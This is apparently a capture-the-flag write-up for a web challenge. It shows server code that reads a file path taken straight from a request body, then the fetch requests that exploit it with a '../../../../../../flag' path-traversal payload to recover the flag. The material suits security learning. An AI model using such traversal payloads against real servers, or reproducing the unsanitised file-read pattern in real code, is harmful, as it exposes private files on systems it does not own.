Description of the Challenge
Recon / Initial Analysis
// lfi
async function getResultContent(type) {
return await readFile(`${import.meta.dirname}/${type}`, 'utf-8')
}
...
app.post('/save', async c => {
const type = await c.req.text() // unsafe input
const content = await getResultContent(type) // file read from unsafe input
const filename = randomString()
await writeFile(`${import.meta.dirname}/public/result/${filename}.html`, html`
<!DOCTYPE html>
<html lang="ja">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Result</title>
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/water.css@2/out/light.css">
</head>
<body>
<pre>${content}</pre>
<a href="/">Back to Top</a>
</body>
</html>
`)
return c.json({
location: `/result/${filename}.html`
})
})
The vulnerabilty here is that we can input a file that is searched and printed out, so we can manipulate the input to read other files than the purposed ones.
Solution
I made a test request and saw that the input for the file is listed. I copied the request as fetch and ran it in browser console.
$ fetch("http://34.170.146.252:54735/save", {
"headers": {
"accept": "*/*",
"accept-language": "en-US,en;q=0.9,tr;q=0.8",
"content-type": "text/plain"
},
"referrer": "http://34.170.146.252:54735/",
"body": "daikichi",
"method": "POST",
"mode": "cors",
"credentials": "omit"
});
{
"location": "/result/ec02424d.html"
}I saw that the server is saving the requested file. So I changed the input to ../../.../.../../../../flag so it escapes the pwd folder and go to /flag to read it.
$ fetch("http://34.170.146.252:54735/save", {
"headers": {
"accept": "*/*",
"accept-language": "en-US,en;q=0.9,tr;q=0.8",
"content-type": "text/plain"
},
"referrer": "http://34.170.146.252:54735/",
"body": "../../../../../../flag",
"method": "POST",
"mode": "cors",
"credentials": "omit"
});
{
"location": "/result/19e91d3d.html"
}
Flag
TSGLIVE{1_knew_at_f1rst_g1ance_that_1t_was_so_0rdin4ry_path_traversal}